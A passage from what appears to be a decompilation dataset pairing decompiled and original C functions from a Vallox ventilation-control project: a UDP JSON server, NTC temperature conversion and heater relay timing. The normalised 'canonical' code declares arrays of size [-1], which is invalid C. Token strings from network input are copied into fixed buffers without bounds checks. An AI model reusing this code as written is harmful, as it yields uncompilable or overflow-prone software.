i32MsgLen;\n struct sockaddr_in servaddr; struct sockaddr_in cliaddr;\n unsigned int clilen = sizeof(cliaddr);\n i32ConnSocket=socket(2,SOCK_DGRAM,0);\n bzero(&servaddr,sizeof(servaddr));\n servaddr.sin_family = 2;\n servaddr.sin_addr.s_addr=htonl(((unsigned int) 0x00000000));\n servaddr.sin_port=htons(8056);\n bind(i32ConnSocket,(struct sockaddr *)&servaddr,sizeof(servaddr));\n while(1)\n {\n i32MsgLen = recvfrom(i32ConnSocket, sMesg, 8000, 0,\n (struct sockaddr *)&cliaddr, &clilen);\n if (i32MsgLen == 0)\n {\n break;\n }\n u32_json_decode_message(i32MsgLen, sMesg);\n sendto(i32ConnSocket, sMesg, strlen(sMesg), 0, (struct sockaddr *)&cliaddr, sizeof(cliaddr));\n memset(sMesg, 0, 8000);\n }\n}", "variable_types": [ [ "ptr", "void *" ], [ "sMesg", "char [8000]" ], [ "i32ConnSocket", "int" ], [ "i32MsgLen", "int" ], [ "servaddr", "struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; }" ], [ "cliaddr", "struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; }" ], [ "clilen", "unsigned int" ] ], "return_type": "void *", "user_defined_types": [ "struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr sin_addr; unsigned char sin_zero[-1]; }", "struct in_addr { unsigned int s_addr; }", "struct sockaddr { unsigned short sa_family; char sa_data[14]; }" ], "binary_hash": "12ff5a0630331d2b4a4d101d0d1cc2a3fd2d8de872e07a5d93c09acbb1d17b51" } ]
1d679e2f99f37ea7b2d3db0359a69269f6693f66f0bffb1f9d33d4f9ad31db2b
pecca/vallox_control
[ [ "r32_NTC_to_celsius", "->" ], [ "u16_celsius_to_NTC", "->" ] ]
[]
[ { "name": "r32_NTC_to_celsius", "canonical_name": "func0", "repo": "pecca/vallox_control", "decompiled_code": "float __fastcall r32_NTC_to_celsius(unsigned __int16 a1)\n{\nreturn c_NTC_temperature_conversion_table[a1];\n}\n", "canonical_decompiled_code": "float __fastcall func0(unsigned __int16 a1)\n{\nreturn c_NTC_temperature_conversion_table[a1];\n}", "original_code": "real32 r32_NTC_to_celsius(uint16 u16Ntc)\n{\n return c_NTC_temperature_conversion_table[u16Ntc];\n}", "canonical_original_code": "float r32_NTC_to_celsius(unsigned short u16Ntc)\n{\n return c_NTC_temperature_conversion_table[u16Ntc];\n}", "variable_types": [ [ "u16Ntc", "unsigned short" ] ], "return_type": "float", "user_defined_types": [], "binary_hash": "1d679e2f99f37ea7b2d3db0359a69269f6693f66f0bffb1f9d33d4f9ad31db2b" }, { "name": "u16_celsius_to_NTC", "canonical_name": "func1", "repo": "pecca/vallox_control", "decompiled_code": "__int64 __fastcall u16_celsius_to_NTC(float a1)\n{\nint i; // [rsp+10h] [rbp-4h]\n\nfor ( i = 0; i <= 254; ++i )\n{\nif ( a1 >= c_NTC_temperature_conversion_table[i] && c_NTC_temperature_conversion_table[i + 1] >= a1 )\nreturn (unsigned int)i;\n}\nreturn 0LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(float a1)\n{\nint i; // [rsp+10h] [rbp-4h]\n\nfor ( i = 0; i <= 254; ++i )\n{\nif ( a1 >= c_NTC_temperature_conversion_table[i] && c_NTC_temperature_conversion_table[i + 1] >= a1 )\nreturn (unsigned int)i;\n}\nreturn 0LL;\n}", "original_code": "uint16 u16_celsius_to_NTC(real32 r32Celcius)\n{\n for (int i = 0; i < 255; i++)\n {\n if (c_NTC_temperature_conversion_table[i] <= r32Celcius &&\n r32Celcius <= c_NTC_temperature_conversion_table[i+1])\n {\n return i;\n }\n }\n return 0;\n}", "canonical_original_code": "unsigned short u16_celsius_to_NTC(float r32Celcius)\n{\n for (int i = 0; i < 255; i++)\n {\n if (c_NTC_temperature_conversion_table[i] <= r32Celcius &&\n r32Celcius <= c_NTC_temperature_conversion_table[i+1])\n {\n return i;\n }\n }\n return 0;\n}", "variable_types": [ [ "r32Celcius", "float" ], [ "i", "int" ] ], "return_type": "unsigned short", "user_defined_types": [], "binary_hash": "1d679e2f99f37ea7b2d3db0359a69269f6693f66f0bffb1f9d33d4f9ad31db2b" } ]
1f08faa09881aae1af95fdf082d4ff46e2067c08c3d53d95f504ada77da45259
pecca/vallox_control
[ [ "json_encode_string", "->", "json_encode_variable_name" ], [ "json_encode_integer", "->", "json_encode_variable_name" ], [ "json_encode_real32", "->", "json_encode_variable_name" ], [ "json_encode_object", "->", "json_encode_variable_name" ], [ "json_decode_variable_name", "->" ], [ "u32_json_decode_message", "->", "get_json_token_str" ], [ "json_encode_variable_name", "->", "json_encode_string", "json_encode_integer", "json_encode_real32", "json_encode_object" ], [ "get_json_token_str", "->", "u32_json_decode_message" ] ]
[]
[ { "name": "json_encode_string", "canonical_name": "func0", "repo": "pecca/vallox_control", "decompiled_code": "char *__fastcall json_encode_string(char *a1, __int64 a2, const char *a3)\n{\nsize_t v3; // rax\n\njson_encode_variable_name(a1, a2);\nv3 = strlen(a3);\nreturn strncat(a1, a3, v3);\n}\n", "canonical_decompiled_code": "char *__fastcall func0(char *a1, __int64 a2, const char *a3)\n{\nsize_t v3; // rax\n\nfunc6(a1, a2);\nv3 = strlen(a3);\nreturn strncat(a1, a3, v3);\n}", "original_code": "void json_encode_string(char *str, char *name, char *value)\n{\n json_encode_variable_name(str, name);\n strncat(str, value, strlen(value));\n}", "canonical_original_code": "void json_encode_string(char *str, char *name, char *value)\n{\n json_encode_variable_name(str, name);\n strncat(str, value, strlen(value));\n}", "variable_types": [ [ "str", "char *" ], [ "name", "char *" ], [ "value", "char *" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "1f08faa09881aae1af95fdf082d4ff46e2067c08c3d53d95f504ada77da45259" }, { "name": "json_encode_integer", "canonical_name": "func1", "repo": "pecca/vallox_control", "decompiled_code": "char *__fastcall json_encode_integer(char *a1, __int64 a2, unsigned int a3)\n{\nsize_t v3; // rax\nchar s[112]; // [rsp+20h] [rbp-70h] BYREF\n\njson_encode_variable_name(a1, a2);\nsprintf(s, \"%d\", a3);\nv3 = strlen(s);\nreturn strncat(a1, s, v3);\n}\n", "canonical_decompiled_code": "char *__fastcall func1(char *a1, __int64 a2, unsigned int a3)\n{\nsize_t v3; // rax\nchar s[112]; // [rsp+20h] [rbp-70h] BYREF\n\nfunc6(a1, a2);\nsprintf(s, \"%d\", a3);\nv3 = strlen(s);\nreturn strncat(a1, s, v3);\n}", "original_code": "void json_encode_integer(char *str, char *name, int value)\n{\n char int_str[(100)];\n json_encode_variable_name(str, name);\n sprintf(int_str, \"%d\", value);\n strncat(str, int_str, strlen(int_str));\n}", "canonical_original_code": "void json_encode_integer(char *str, char *name, int value)\n{\n char int_str[-1];\n json_encode_variable_name(str, name);\n sprintf(int_str, \"%d\", value);\n strncat(str, int_str, strlen(int_str));\n}", "variable_types": [ [ "str", "char *" ], [ "name", "char *" ], [ "value", "int" ], [ "int_str", "char [-1]" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "1f08faa09881aae1af95fdf082d4ff46e2067c08c3d53d95f504ada77da45259" }, { "name": "json_encode_real32", "canonical_name": "func2", "repo": "pecca/vallox_control", "decompiled_code": "char *__fastcall json_encode_real32(char *a1, __int64 a2, float a3)\n{\nsize_t v3; // rax\nchar s[112]; // [rsp+20h] [rbp-70h] BYREF\n\njson_encode_variable_name(a1, a2);\nsprintf(s, \"%.1f\", a3);\nv3 = strlen(s);\nreturn strncat(a1, s, v3);\n}\n", "canonical_decompiled_code": "char *__fastcall func2(char *a1, __int64 a2, float a3)\n{\nsize_t v3; // rax\nchar s[112]; // [rsp+20h] [rbp-70h] BYREF\n\nfunc6(a1, a2);\nsprintf(s, \"%.1f\", a3);\nv3 = strlen(s);\nreturn strncat(a1, s, v3);\n}", "original_code": "void json_encode_real32(char *str, char *name, real32 value)\n{\n char real32_str[(100)];\n json_encode_variable_name(str, name);\n sprintf(real32_str, \"%.1f\", value);\n strncat(str, real32_str, strlen(real32_str));\n}", "canonical_original_code": "void json_encode_real32(char *str, char *name, float value)\n{\n char real32_str[-1];\n json_encode_variable_name(str, name);\n sprintf(real32_str, \"%.1f\", value);\n strncat(str, real32_str, strlen(real32_str));\n}", "variable_types": [ [ "str", "char *" ], [ "name", "char *" ], [ "value", "float" ], [ "real32_str", "char [-1]" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "1f08faa09881aae1af95fdf082d4ff46e2067c08c3d53d95f504ada77da45259" }, { "name": "json_encode_object", "canonical_name": "func3", "repo": "pecca/vallox_control", "decompiled_code": "char *__fastcall json_encode_object(char *a1, __int64 a2, const char *a3)\n{\nsize_t v3; // rax\nchar *result; // rax\n\njson_encode_variable_name(a1, a2);\n*(_WORD *)&a1[strlen(a1)] = 123;\nv3 = strlen(a3);\nstrncat(a1, a3, v3);\nresult = &a1[strlen(a1)];\n*(_WORD *)result = 125;\nreturn result;\n}\n", "canonical_decompiled_code": "char *__fastcall func3(char *a1, __int64 a2, const char *a3)\n{\nsize_t v3; // rax\nchar *result; // rax\n\nfunc6(a1, a2);\n*(_WORD *)&a1[strlen(a1)] = 123;\nv3 = strlen(a3);\nstrncat(a1, a3, v3);\nresult = &a1[strlen(a1)];\n*(_WORD *)result = 125;\nreturn result;\n}", "original_code": "void json_encode_object(char *str, char *name, char *value)\n{\n json_encode_variable_name(str, name);\n strncat(str, \"{\", 1);\n strncat(str, value, strlen(value));\n strncat(str, \"}\", 1);\n}", "canonical_original_code": "void json_encode_object(char *str, char *name, char *value)\n{\n json_encode_variable_name(str, name);\n strncat(str, \"{\", 1);\n strncat(str, value, strlen(value));\n strncat(str, \"}\", 1);\n}", "variable_types": [ [ "str", "char *" ], [ "name", "char *" ], [ "value", "char *" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "1f08faa09881aae1af95fdf082d4ff46e2067c08c3d53d95f504ada77da45259" }, { "name": "json_decode_variable_name", "canonical_name": "func4", "repo": "pecca/vallox_control", "decompiled_code": "char *__fastcall json_decode_variable_name(__int64 a1, char *a2)\n{\nchar *result; // rax\nconst char *src; // [rsp+18h] [rbp-8h]\n\nsrc = strtok((char *)(a1 + 1), \"\\\"\");\nif ( src )\nreturn strcpy(a2, src);\nresult = a2;\nstrcpy(a2, \"name_not_found\");\nreturn result;\n}\n", "canonical_decompiled_code": "char *__fastcall func4(__int64 a1, char *a2)\n{\nchar *result; // rax\nconst char *src; // [rsp+18h] [rbp-8h]\n\nsrc = strtok((char *)(a1 + 1), \"\\\"\");\nif ( src )\nreturn strcpy(a2, src);\nresult = a2;\nstrcpy(a2, \"name_not_found\");\nreturn result;\n}", "original_code": "void json_decode_variable_name(char *str, char *name)\n{\n char *sub_str;\n str = &str[1];\n sub_str = strtok(str, \"\\\"\");\n if (sub_str != ((void *)0))\n {\n strcpy(name, sub_str);\n }\n else\n {\n strcpy(name, \"name_not_found\");\n }\n}", "canonical_original_code": "void json_decode_variable_name(char *str, char *name)\n{\n char *sub_str;\n str = &str[1];\n sub_str = strtok(str, \"\\\"\");\n if (sub_str != ((void *)0))\n {\n strcpy(name, sub_str);\n }\n else\n {\n strcpy(name, \"name_not_found\");\n }\n}", "variable_types": [ [ "str", "char *" ], [ "name", "char *" ], [ "sub_str", "char *" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "1f08faa09881aae1af95fdf082d4ff46e2067c08c3d53d95f504ada77da45259" }, { "name": "u32_json_decode_message", "canonical_name": "func5", "repo": "pecca/vallox_control", "decompiled_code": "size_t __fastcall u32_json_decode_message(__int64 a1, const char *a2)\n{\nsize_t v2; // rax\nchar v4[112]; // [rsp+10h] [rbp-960h] BYREF\nchar v5[112]; // [rsp+80h] [rbp-8F0h] BYREF\nchar nptr[112]; // [rsp+F0h] [rbp-880h] BYREF\nchar v7[2048]; // [rsp+160h] [rbp-810h] BYREF\nchar v8[12]; // [rsp+960h] [rbp-10h] BYREF\nint v9; // [rsp+96Ch] [rbp-4h]\n\njsmn_init(v8);\nv2 = strlen(a2);\njsmn_parse(v8, a2, v2, v7, 128LL);\nget_json_token_str(2LL, a2, v7, nptr);\nv9 = atoi(nptr);\nget_json_token_str(3LL, a2, v7, nptr);\nif ( !strcmp(nptr, \"get\") )\n{\nget_json_token_str(4LL, a2, v7, nptr);\nif ( !strcmp(nptr, \"digit_vars\") )\n{\ndigit_json_encode_vars(a2);\n}\nelse if ( !strcmp(nptr, \"control_vars\") )\n{\nctrl_json_encode(a2);\n}\nelse if ( !strcmp(nptr, \"ds18b20_vars\") )\n{\nDS18B20_json_encode_vars(a2);\n}\n}\nelse if ( !strcmp(nptr, \"set\") )\n{\nget_json_token_str(5LL, a2, v7, nptr);\nif ( !strcmp(nptr, \"digit_var\") )\n{\nget_json_token_str(7LL, a2, v7, v4);\nget_json_token_str(8LL, a2, v7, v5);\ndigit_set_var_by_name(v4, v5, a2);\n}\nelse if ( !strcmp(nptr, \"control_var\") )\n{\nget_json_token_str(7LL, a2, v7, v4);\nget_json_token_str(8LL, a2, v7, v5);\nctrl_set_var_by_name(v4, v5, a2);\n}\n}\nreturn strlen(a2);\n}\n", "canonical_decompiled_code": "size_t __fastcall func5(__int64 a1, const char *a2)\n{\nsize_t v2; // rax\nchar v4[112]; // [rsp+10h] [rbp-960h] BYREF\nchar v5[112]; // [rsp+80h] [rbp-8F0h] BYREF\nchar nptr[112]; // [rsp+F0h] [rbp-880h] BYREF\nchar v7[2048]; // [rsp+160h] [rbp-810h] BYREF\nchar v8[12]; // [rsp+960h] [rbp-10h] BYREF\nint v9; // [rsp+96Ch] [rbp-4h]\n\njsmn_init(v8);\nv2 = strlen(a2);\njsmn_parse(v8, a2, v2, v7, 128LL);\nfunc7(2LL, a2, v7, nptr);\nv9 = atoi(nptr);\nfunc7(3LL, a2, v7, nptr);\nif ( !strcmp(nptr, \"get\") )\n{\nfunc7(4LL, a2, v7, nptr);\nif ( !strcmp(nptr, \"digit_vars\") )\n{\ndigit_json_encode_vars(a2);\n}\nelse if ( !strcmp(nptr, \"control_vars\") )\n{\nctrl_json_encode(a2);\n}\nelse if ( !strcmp(nptr, \"ds18b20_vars\") )\n{\nDS18B20_json_encode_vars(a2);\n}\n}\nelse if ( !strcmp(nptr, \"set\") )\n{\nfunc7(5LL, a2, v7, nptr);\nif ( !strcmp(nptr, \"digit_var\") )\n{\nfunc7(7LL, a2, v7, v4);\nfunc7(8LL, a2, v7, v5);\ndigit_set_var_by_name(v4, v5, a2);\n}\nelse if ( !strcmp(nptr, \"control_var\") )\n{\nfunc7(7LL, a2, v7, v4);\nfunc7(8LL, a2, v7, v5);\nctrl_set_var_by_name(v4, v5, a2);\n}\n}\nreturn strlen(a2);\n}", "original_code": "uint32 u32_json_decode_message(uint32 u32MsgLen, char *sMesg)\n{\n int id;\n jsmn_parser parser;\n jsmntok_t tokens[(128)];\n char tokenStr[(100)];\n jsmn_init(&parser);\n jsmn_parse(&parser, sMesg, strlen(sMesg), tokens, (128));\n get_json_token_str(2, sMesg, tokens, tokenStr);\n id = atoi(tokenStr);\n get_json_token_str(3, sMesg, tokens, tokenStr);\n if (!strcmp(tokenStr, \"get\"))\n {\n get_json_token_str(4, sMesg, tokens, tokenStr);\n if (!strcmp(tokenStr, \"digit_vars\"))\n {\n digit_json_encode_vars(sMesg);\n }\n else if (!strcmp(tokenStr, \"control_vars\"))\n {\n ctrl_json_encode(sMesg);\n }\n else if (!strcmp(tokenStr, \"ds18b20_vars\"))\n {\n DS18B20_json_encode_vars(sMesg);\n }\n }\n else if (!strcmp(tokenStr, \"set\"))\n {\n get_json_token_str(5, sMesg, tokens, tokenStr);\n if (!strcmp(tokenStr, \"digit_var\"))\n {\n char sName[(100)], sValue[(100)];\n get_json_token_str(7, sMesg, tokens, sName);\n get_json_token_str(8, sMesg, tokens, sValue);\n digit_set_var_by_name(sName, sValue, sMesg);\n }\n else if (!strcmp(tokenStr, \"control_var\"))\n {\n char sName[(100)], sValue[(100)];\n get_json_token_str(7, sMesg, tokens, sName);\n get_json_token_str(8, sMesg, tokens, sValue);\n ctrl_set_var_by_name(sName, sValue, sMesg);\n }\n }\n else\n {\n }\n return strlen(sMesg);\n}", "canonical_original_code": "unsigned int u32_json_decode_message(unsigned int u32MsgLen, char *sMesg)\n{\n int id;\n struct jsmn_parser parser;\n struct jsmntok_t tokens[-1];\n char tokenStr[-1];\n jsmn_init(&parser);\n jsmn_parse(&parser, sMesg, strlen(sMesg), tokens, (128));\n get_json_token_str(2, sMesg, tokens, tokenStr);\n id = atoi(tokenStr);\n get_json_token_str(3, sMesg, tokens, tokenStr);\n if (!strcmp(tokenStr, \"get\"))\n {\n get_json_token_str(4, sMesg, tokens, tokenStr);\n if (!strcmp(tokenStr, \"digit_vars\"))\n {\n digit_json_encode_vars(sMesg);\n }\n else if (!strcmp(tokenStr, \"control_vars\"))\n {\n ctrl_json_encode(sMesg);\n }\n else if (!strcmp(tokenStr, \"ds18b20_vars\"))\n {\n DS18B20_json_encode_vars(sMesg);\n }\n }\n else if (!strcmp(tokenStr, \"set\"))\n {\n get_json_token_str(5, sMesg, tokens, tokenStr);\n if (!strcmp(tokenStr, \"digit_var\"))\n {\n char sName[-1]; char sValue[-1];\n get_json_token_str(7, sMesg, tokens, sName);\n get_json_token_str(8, sMesg, tokens, sValue);\n digit_set_var_by_name(sName, sValue, sMesg);\n }\n else if (!strcmp(tokenStr, \"control_var\"))\n {\n char sName[-1]; char sValue[-1];\n get_json_token_str(7, sMesg, tokens, sName);\n get_json_token_str(8, sMesg, tokens, sValue);\n ctrl_set_var_by_name(sName, sValue, sMesg);\n }\n }\n else\n {\n }\n return strlen(sMesg);\n}", "variable_types": [ [ "u32MsgLen", "unsigned int" ], [ "sMesg", "char *" ], [ "id", "int" ], [ "parser", "struct jsmn_parser { unsigned int pos; unsigned int toknext; int toksuper; }" ], [ "tokens", "struct jsmntok_t { enum jsmntype_t { JSMN_PRIMITIVE=0, JSMN_OBJECT=1, JSMN_ARRAY=2, JSMN_STRING=3 } type; int start; int end; int size; } [-1]" ], [ "tokenStr", "char [-1]" ], [ "sName", "char [-1]" ], [ "sValue", "char [-1]" ] ], "return_type": "unsigned int", "user_defined_types": [ "struct jsmn_parser { unsigned int pos; unsigned int toknext; int toksuper; }", "struct jsmntok_t { enum jsmntype_t type; int start; int end; int size; }", "enum jsmntype_t { JSMN_PRIMITIVE=0, JSMN_OBJECT=1, JSMN_ARRAY=2, JSMN_STRING=3 }" ], "binary_hash": "1f08faa09881aae1af95fdf082d4ff46e2067c08c3d53d95f504ada77da45259" }, { "name": "json_encode_variable_name", "canonical_name": "func6", "repo": "pecca/vallox_control", "decompiled_code": "char *__fastcall json_encode_variable_name(char *a1, const char *a2)\n{\nsize_t v2; // rax\nchar *result; // rax\n\n*(_WORD *)&a1[strlen(a1)] = 34;\nv2 = strlen(a2);\nstrncat(a1, a2, v2);\nresult = &a1[strlen(a1)];\nstrcpy(result, \"\\\":\");\nreturn result;\n}\n", "canonical_decompiled_code": "char *__fastcall func6(char *a1, const char *a2)\n{\nsize_t v2; // rax\nchar *result; // rax\n\n*(_WORD *)&a1[strlen(a1)] = 34;\nv2 = strlen(a2);\nstrncat(a1, a2, v2);\nresult = &a1[strlen(a1)];\nstrcpy(result, \"\\\":\");\nreturn result;\n}", "original_code": "static void json_encode_variable_name(char *sStr, char *sName)\n{\n strncat(sStr, \"\\\"\", 1);\n strncat(sStr, sName, strlen(sName));\n strncat(sStr, \"\\\":\", 2);\n}", "canonical_original_code": "static void json_encode_variable_name(char *sStr, char *sName)\n{\n strncat(sStr, \"\\\"\", 1);\n strncat(sStr, sName, strlen(sName));\n strncat(sStr, \"\\\":\", 2);\n}", "variable_types": [ [ "sStr", "char *" ], [ "sName", "char *" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "1f08faa09881aae1af95fdf082d4ff46e2067c08c3d53d95f504ada77da45259" }, { "name": "get_json_token_str", "canonical_name": "func7", "repo": "pecca/vallox_control", "decompiled_code": "void *__fastcall get_json_token_str(int a1, __int64 a2, __int64 a3, void *a4)\n{\n_QWORD *v4; // rax\nunsigned int n; // [rsp+3Ch] [rbp-4h]\n\nv4 = (_QWORD *)(16LL * a1 + a3);\nn = v4[1] - HIDWORD(*v4);\nmemcpy(a4, (const void *)(a2 + (int)HIDWORD(*v4)), n);\n*((_BYTE *)a4 + n) = 0;\nreturn a4;\n}\n", "canonical_decompiled_code": "void *__fastcall func7(int a1, __int64 a2, __int64 a3, void *a4)\n{\n_QWORD *v4; // rax\nunsigned int n; // [rsp+3Ch] [rbp-4h]\n\nv4 = (_QWORD *)(16LL * a1 + a3);\nn = v4[1] - HIDWORD(*v4);\nmemcpy(a4, (const void *)(a2 + (int)HIDWORD(*v4)), n);\n*((_BYTE *)a4 + n) = 0;\nreturn a4;\n}", "original_code": "static char *get_json_token_str(int n, char* mesg, jsmntok_t *tokens, char* tokenStr)\n{\n jsmntok_t key = tokens[n];\n uint32 u32Length = key.end - key.start;\n memcpy(tokenStr, &mesg[key.start], u32Length);\n tokenStr[u32Length] = '\\0';\n return tokenStr;\n}", "canonical_original_code": "static char *get_json_token_str(int n, char *mesg, struct jsmntok_t *tokens, char *tokenStr)\n{\n struct jsmntok_t key = tokens[n];\n unsigned int u32Length = key.end - key.start;\n memcpy(tokenStr, &mesg[key.start], u32Length);\n tokenStr[u32Length] = '\\0';\n return tokenStr;\n}", "variable_types": [ [ "n", "int" ], [ "mesg", "char *" ], [ "tokens", "struct jsmntok_t { enum jsmntype_t { JSMN_PRIMITIVE=0, JSMN_OBJECT=1, JSMN_ARRAY=2, JSMN_STRING=3 } type; int start; int end; int size; } *" ], [ "tokenStr", "char *" ], [ "key", "struct jsmntok_t { enum jsmntype_t { JSMN_PRIMITIVE=0, JSMN_OBJECT=1, JSMN_ARRAY=2, JSMN_STRING=3 } type; int start; int end; int size; }" ], [ "u32Length", "unsigned int" ] ], "return_type": "char *", "user_defined_types": [ "struct jsmntok_t { enum jsmntype_t type; int start; int end; int size; }", "enum jsmntype_t { JSMN_PRIMITIVE=0, JSMN_OBJECT=1, JSMN_ARRAY=2, JSMN_STRING=3 }" ], "binary_hash": "1f08faa09881aae1af95fdf082d4ff46e2067c08c3d53d95f504ada77da45259" } ]
20af0b6bad21d944a8a6aad836d6e5c2352c28e7bd7b5f736954cc67a954b777
pecca/vallox_control
[ [ "pre_heating_resistor_init", "->", "read_on_time_from_file" ], [ "pre_heating_resistor_start", "->" ], [ "pre_heating_resistor_stop", "->", "u32_pre_heating_resistor_get_on_time" ], [ "pre_heating_resistor_counter_update", "->", "save_on_time_to_file" ], [ "u32_pre_heating_resistor_get_on_time", "->", "pre_heating_resistor_stop" ], [ "pre_heating_resistor_get_status", "->" ], [ "u32_pre_heating_resistor_get_on_time_total", "->" ], [ "read_on_time_from_file", "->", "pre_heating_resistor_init" ], [ "save_on_time_to_file", "->", "pre_heating_resistor_counter_update" ] ]
[ [ "read_on_time_from_file", "int func7()\n{\nFILE *v0; // rax\nFILE *stream; // [rsp+8h] [rbp-8h]\n\nv0 = fopen(\"pre_heating_value.txt\", \"r\");\nstream = v0;\nif ( v0 )\n{\n_isoc99_fscanf(v0, \"%d\", &g_u32OnTimeTotal);\nLODWORD(v0) = fclose(stream);\n}\nreturn (int)v0;\n}" ], [ "save_on_time_to_file", "int func8()\n{\nFILE *v0; // rax\nFILE *stream; // [rsp+8h] [rbp-8h]\n\nv0 = fopen(\"pre_heating_value.txt\", \"w\");\nstream = v0;\nif ( v0 )\n{\nfprintf(v0, \"%d\\n\", (unsigned int)g_u32OnTimeTotal);\nLODWORD(v0) = fclose(stream);\n}\nreturn (int)v0;\n}" ] ]
[ { "name": "pre_heating_resistor_init", "canonical_name": "func0", "repo": "pecca/vallox_control", "decompiled_code": "__int64 pre_heating_resistor_init()\n{\nrelay_control_init(17LL);\nreturn read_on_time_from_file();\n}\n", "canonical_decompiled_code": "__int64 func0()\n{\nrelay_control_init(17LL);\nreturn func7();\n}", "original_code": "void pre_heating_resistor_init(void)\n{\n relay_control_init(17);\n read_on_time_from_file();\n}", "canonical_original_code": "void pre_heating_resistor_init()\n{\n relay_control_init(17);\n read_on_time_from_file();\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "20af0b6bad21d944a8a6aad836d6e5c2352c28e7bd7b5f736954cc67a954b777" }, { "name": "pre_heating_resistor_start", "canonical_name": "func1", "repo": "pecca/vallox_control", "decompiled_code": "time_t pre_heating_resistor_start()\n{\ntime_t result; // rax\n\nresult = (unsigned int)g_u32StartTime;\nif ( !g_u32StartTime )\n{\nrelay_control_set_on(17LL);\nresult = time(0LL);\ng_u32StartTime = result;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "time_t func1()\n{\ntime_t result; // rax\n\nresult = (unsigned int)g_u32StartTime;\nif ( !g_u32StartTime )\n{\nrelay_control_set_on(17LL);\nresult = time(0LL);\ng_u32StartTime = result;\n}\nreturn result;\n}", "original_code": "void pre_heating_resistor_start(void)\n{\n if (!g_u32StartTime)\n {\n relay_control_set_on(17);\n g_u32StartTime = time(((void *)0));\n }\n}", "canonical_original_code": "void pre_heating_resistor_start()\n{\n if (!g_u32StartTime)\n {\n relay_control_set_on(17);\n g_u32StartTime = time(((void *)0));\n }\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "20af0b6bad21d944a8a6aad836d6e5c2352c28e7bd7b5f736954cc67a954b777" }, { "name": "pre_heating_resistor_stop", "canonical_name": "func2", "repo": "pecca/vallox_control", "decompiled_code": "__int64 pre_heating_resistor_stop()\n{\n__int64 result; // rax\n\nresult = (unsigned int)g_u32StartTime;\nif ( g_u32StartTime )\n{\nrelay_control_set_off(17LL);\nresult = g_u32OnTimeTotal + (unsigned int)u32_pre_heating_resistor_get_on_time();\ng_u32OnTimeTotal = result;\ng_u32StartTime = 0;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func2()\n{\n__int64 result; // rax\n\nresult = (unsigned int)g_u32StartTime;\nif ( g_u32StartTime )\n{\nrelay_control_set_off(17LL);\nresult = g_u32OnTimeTotal + (unsigned int)func4();\ng_u32OnTimeTotal = result;\ng_u32StartTime = 0;\n}\nreturn result;\n}", "original_code": "void pre_heating_resistor_stop(void)\n{\n if (g_u32StartTime)\n {\n relay_control_set_off(17);\n g_u32OnTimeTotal += u32_pre_heating_resistor_get_on_time();\n g_u32StartTime = 0;\n }\n}", "canonical_original_code": "void pre_heating_resistor_stop()\n{\n if (g_u32StartTime)\n {\n relay_control_set_off(17);\n g_u32OnTimeTotal += u32_pre_heating_resistor_get_on_time();\n g_u32StartTime = 0;\n }\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "20af0b6bad21d944a8a6aad836d6e5c2352c28e7bd7b5f736954cc67a954b777" }, { "name": "pre_heating_resistor_counter_update", "canonical_name": "func3", "repo": "pecca/vallox_control", "decompiled_code": "__int64 pre_heating_resistor_counter_update()\n{\n__int64 result; // rax\n\n++g_u32CheckCallCnt;\nresult = 5 * g_u32CheckCallCnt % 0xE10u;\nif ( !(_DWORD)result )\nresult = save_on_time_to_file();\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func3()\n{\n__int64 result; // rax\n\n++g_u32CheckCallCnt;\nresult = 5 * g_u32CheckCallCnt % 0xE10u;\nif ( !(_DWORD)result )\nresult = func8();\nreturn result;\n}", "original_code": "void pre_heating_resistor_counter_update(void)\n{\n g_u32CheckCallCnt++;\n if ( (g_u32CheckCallCnt * (5)) %\n (60*60) == 0)\n {\n save_on_time_to_file();\n }\n}", "canonical_original_code": "void pre_heating_resistor_counter_update()\n{\n g_u32CheckCallCnt++;\n if ( (g_u32CheckCallCnt * (5)) %\n (60*60) == 0)\n {\n save_on_time_to_file();\n }\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "20af0b6bad21d944a8a6aad836d6e5c2352c28e7bd7b5f736954cc67a954b777" }, { "name": "u32_pre_heating_resistor_get_on_time", "canonical_name": "func4", "repo": "pecca/vallox_control", "decompiled_code": "__int64 u32_pre_heating_resistor_get_on_time()\n{\n__int64 result; // rax\n\nif ( g_u32StartTime )\nresult = (unsigned int)time(0LL) - g_u32StartTime;\nelse\nresult = 0LL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func4()\n{\n__int64 result; // rax\n\nif ( g_u32StartTime )\nresult = (unsigned int)time(0LL) - g_u32StartTime;\nelse\nresult = 0LL;\nreturn result;\n}", "original_code": "uint32 u32_pre_heating_resistor_get_on_time()\n{\n if (g_u32StartTime)\n {\n return time(((void *)0)) - g_u32StartTime;\n }\n else\n {\n return 0;\n }\n}", "canonical_original_code": "unsigned int u32_pre_heating_resistor_get_on_time()\n{\n if (g_u32StartTime)\n {\n return time(((void *)0)) - g_u32StartTime;\n }\n else\n {\n return 0;\n }\n}", "variable_types": [], "return_type": "unsigned int", "user_defined_types": [], "binary_hash": "20af0b6bad21d944a8a6aad836d6e5c2352c28e7bd7b5f736954cc67a954b777" }, { "name": "pre_heating_resistor_get_status", "canonical_name": "func5", "repo": "pecca/vallox_control", "decompiled_code": "_BOOL8 pre_heating_resistor_get_status()\n{\nreturn g_u32StartTime != 0;\n}\n", "canonical_decompiled_code": "_BOOL8 func5()\n{\nreturn g_u32StartTime != 0;\n}", "original_code": "_Bool pre_heating_resistor_get_status()\n{\n if (g_u32StartTime)\n {\n return 1;\n }\n else\n {\n return 0;\n }\n}", "canonical_original_code": "_Bool pre_heating_resistor_get_status()\n{\n if 